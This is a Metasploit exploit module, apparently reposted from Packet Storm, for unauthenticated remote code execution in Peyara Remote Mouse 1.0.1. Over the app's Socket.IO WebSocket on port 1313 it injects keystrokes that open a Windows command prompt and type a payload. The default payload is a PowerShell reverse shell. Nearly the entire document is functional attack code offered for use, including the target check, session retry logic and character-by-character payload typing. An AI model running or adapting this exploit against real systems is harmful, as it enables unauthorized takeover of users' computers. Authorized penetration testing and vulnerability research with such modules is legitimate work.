Share
## https://sploitus.com/exploit?id=PACKETSTORM:224409
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Rex::Proto::Http::WebSocket
      prepend Msf::Exploit::Remote::AutoCheck
    
      # Engine.IO / Socket.IO packet types exchanged as plain WebSocket text frames.
      # See: https://socket.io/docs/v4/engine-io-protocol/ and
      #      https://socket.io/docs/v4/socket-io-protocol/
      ENGINEIO_OPEN = '0'         # Engine.IO OPEN (handshake) packet
      ENGINEIO_CLOSE = '1'        # Engine.IO CLOSE packet
      ENGINEIO_PING = '2'         # Engine.IO PING packet
      ENGINEIO_PONG = '3'         # Engine.IO PONG packet
      SOCKETIO_CONNECT = '40'     # Engine.IO MESSAGE (4) + Socket.IO CONNECT (0)
      SOCKETIO_EVENT = '42'       # Engine.IO MESSAGE (4) + Socket.IO EVENT (2)
    
      # Fixed delay (seconds) after launching the command prompt, giving the
      # window time to appear before keystrokes are typed into it.
      WINDOW_DELAY = 1.0
    
      # Peyara serves a single Engine.IO session at a time and keeps a dropped one
      # alive until its ping timeout, so a fresh connection can briefly fail to get
      # the OPEN frame. Retry the connect until the previous session is released.
      CONNECT_RETRIES = 10
      CONNECT_RETRY_DELAY = 3
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Peyara Remote Mouse 1.0.1 Unauthenticated Remote Code Execution',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution vulnerability
              in Peyara Remote Mouse 1.0.1. The application exposes a Socket.IO
              WebSocket service on TCP port 1313 and accepts unauthenticated keyboard
              input events.
    
              The module sends keyboard events to open the Windows command prompt and
              type a Metasploit command payload, allowing arbitrary command execution
              in the context of the user running Peyara Remote Mouse.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'tmrswrr' # Vulnerability discovery, original PoC, and Metasploit module
            ],
            'References' => [
              ['URL', 'https://github.com/capture0x/Peyara'],
              ['URL', 'https://peyara-remote-mouse.vercel.app/']
            ],
            'DisclosureDate' => '2025-05-30',
            'Platform' => 'win',
            'Arch' => ARCH_CMD,
            'Privileged' => false,
            'Targets' => [
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'RPORT' => 1313,
              'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp',
              'WfsDelay' => 10
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path for the Socket.IO endpoint', '/']),
            OptFloat.new('KEY_DELAY', [true, 'Delay between keyboard events in seconds', 0.06]),
            OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations in seconds', 5])
          ]
        )
      end
    
      def recv_wstext(wsock)
        frame = nil
    
        begin
          # TODO: R7 engineers may want a pattern that avoids the Timeout API here.
          ::Timeout.timeout(datastore['WS_TIMEOUT']) do
            frame = wsock.get_wsframe
          end
        rescue ::Timeout::Error
          return nil
        end
    
        return nil unless frame
    
        frame.unmask! if frame.header.masked == 1
        frame.payload_data.to_s
      end
    
      # Performs the Socket.IO namespace connect handshake on an open WebSocket and
      # returns true once the server acknowledges with a CONNECT packet.
      def socketio_connect(wsock)
        wsock.put_wstext(SOCKETIO_CONNECT)
    
        3.times do
          frame = recv_wstext(wsock)
          next if frame.nil?
    
          wsock.put_wstext(ENGINEIO_PONG) if frame == ENGINEIO_PING
          return true if frame.start_with?(SOCKETIO_CONNECT)
        end
    
        false
      end
    
      # Close the Engine.IO session before dropping the socket. Without the explicit
      # CLOSE packet the server keeps the session alive until its ping timeout, which
      # blocks the next connection (for example check() followed by exploit()).
      def close_session(wsock)
        return unless wsock
    
        begin
          wsock.put_wstext(ENGINEIO_CLOSE)
        rescue StandardError
          nil
        ensure
          wsock.wsclose
        end
      end
    
      def send_event(wsock, event, data)
        wsock.put_wstext("#{SOCKETIO_EVENT}#{JSON.generate([event, data])}")
        Rex.sleep(datastore['KEY_DELAY'])
      end
    
      def press_key(wsock, key)
        send_event(wsock, 'key', key)
      end
    
      def open_command_prompt(wsock)
        send_event(wsock, 'edit-key', { 'key' => 'escape', 'modifier' => ['control'] })
        Rex.sleep(0.5)
    
        %w[c m d enter].each do |key|
          press_key(wsock, key)
        end
    
        Rex.sleep(WINDOW_DELAY)
        press_key(wsock, 'enter')
        Rex.sleep(0.5)
      end
    
      # Open a fresh Engine.IO session and return the socket once the server sends
      # the OPEN frame, retrying while a previous (still lingering) session blocks it.
      def open_socketio_session
        CONNECT_RETRIES.times do |attempt|
          # connect_ws issues the upgrade through send_request_raw, which does not
          # render vars_get, so the Engine.IO query has to live in the request URI.
          wsock = connect_ws('uri' => "#{normalize_uri(target_uri.path, 'socket.io/')}?EIO=4&transport=websocket")
          return wsock if recv_wstext(wsock)&.start_with?(ENGINEIO_OPEN)
    
          close_session(wsock)
          Rex.sleep(CONNECT_RETRY_DELAY) unless attempt == CONNECT_RETRIES - 1
        end
    
        nil
      end
    
      def check
        wsock = open_socketio_session
    
        return CheckCode::Safe('The service did not return the expected Socket.IO open frame') unless wsock
    
        # An Engine.IO open frame alone is common to any Socket.IO service, so also
        # require a successful Socket.IO namespace connect to reduce false positives.
        return CheckCode::Appears('The service completed a Socket.IO namespace connect handshake') if socketio_connect(wsock)
    
        CheckCode::Detected('An Engine.IO service is present but did not complete the Socket.IO connect handshake')
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        CheckCode::Unknown("WebSocket connection failed: #{e.message}")
      ensure
        close_session(wsock)
      end
    
      def exploit
        print_status('Connecting to the Socket.IO WebSocket endpoint')
        wsock = open_socketio_session
        fail_with(Failure::Unreachable, 'The service did not return the expected Socket.IO open frame') unless wsock
    
        fail_with(Failure::UnexpectedReply, 'The Socket.IO namespace connect was not acknowledged') unless socketio_connect(wsock)
    
        print_status('Opening command prompt through remote keyboard events')
        open_command_prompt(wsock)
    
        command = payload.encoded
        print_status("Sending payload command (#{command.length} bytes)")
    
        # Type the command one character at a time. Batching characters into a single
        # "key" event makes the target collapse repeated keys (e.g. "ll", "dd") and
        # garble bursts; one event per character (space included, as a literal " ")
        # is what types the payload reliably.
        command.each_char { |ch| press_key(wsock, ch) }
    
        Rex.sleep(WINDOW_DELAY)
        press_key(wsock, 'enter')
    
        handler
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
      ensure
        close_session(wsock)
      end
    end